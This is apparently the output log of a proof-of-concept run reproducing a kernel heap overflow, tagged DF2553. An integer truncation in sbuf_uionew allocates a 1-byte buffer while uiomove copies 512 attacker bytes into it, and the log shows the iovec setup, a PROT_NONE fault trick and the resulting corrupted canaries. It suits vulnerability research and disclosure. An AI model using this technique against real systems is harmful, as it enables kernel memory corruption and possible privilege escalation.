trigger: mode=1 uio_resid=4294967296 (0x100000000) len0=512 len1=4294966784
trigger: sysctl accepted; see dmesg for DF2553 lines
---
DF2553: === trigger mode=2 ===
DF2553[mode2]: faithful kmalloc(0x100000001) = 0 (NULL: a faithful 4GiB+1 allocation is impossible here)
DF2553[mode2]: truncated (int)(0x100000001)=1 kmalloc = 0xfffff8004f0c2838 usable=8
DF2553: === mode=2 done ===
DF2553: === trigger mode=0 ===
DF2553[mode0]: control uio_resid=256 (0x100)
DF2553[mode0]: OK s=0xfffff8008976ba00 err=0 s_size=257 s_len=256 data[0..7]=44 46 32 35 35 33 50 57
DF2553[mode0]: uio_resid after=0 (fully drained)
DF2553[scan]: corrupted=0 first=-1 last=-1 full-8-byte-pattern-match=0
DF2553: === mode=0 done ===
DF2553: === trigger mode=1 ===
DF2553[mode1]: uio_resid=0x100000000 (iov0: 0x200 committed attacker bytes + iov1: 0xfffffe00 at PROT_NONE page)
DF2553[mode1]: sbuf_new length param = (int)(resid+1) = 1; uiomove n = resid = 4294967296  <-- mismatch
DF2553[mode1]: hole = canary idx 8190 @0xfffff8004f0c2858 (verified: next kmalloc(1) returns exactly this chunk)
DF2553[mode1]: sbuf_uionew returned s=0 *error=14 (EFAULT: uiomove hit the PROT_NONE iov1 AFTER copying iov0)
DF2553[mode1]: uio after: resid=0xfffffe00 iov0.len=0 iov1.len=4294966784  => 512 attacker bytes were copied into s_buf before the fault
DF2553[scan]: canary 8127 @0xfffff8004f0c2a50 = 44 46 32 35 35 33 50 57  (byte0 expected 44 per user pattern)
DF2553[scan]: canary 8128 @0xfffff8004f0c2a48 = 46 32 35 35 33 50 57 4e  (byte0 expected 00 per user pattern)
DF2553[scan]: canary 8129 @0xfffff8004f0c2a40 = 32 35 35 33 50 57 4e 44  (byte0 expected 46 per user pattern)
DF2553[scan]: canary 8130 @0xfffff8004f0c2a38 = 35 35 33 50 57 4e 44 46  (byte0 expected 46 per user pattern)
DF2553[scan]: canary 8131 @0xfffff8004f0c2a30 = 35 33 50 57 4e 44 46 32  (byte0 expected 33 per user pattern)
DF2553[scan]: canary 8132 @0xfffff8004f0c2a28 = 33 50 57 4e 44 46 32 35  (byte0 expected 33 per user pattern)
DF2553[scan]: corrupted=63 first=8127 last=8189 full-8-byte-pattern-match=0
DF2553[mode1]: *** KERNEL HEAP OVERFLOW REPRODUCED: attacker bytes past a 1-byte kmalloc ***
DF2553: === mode=1 done ===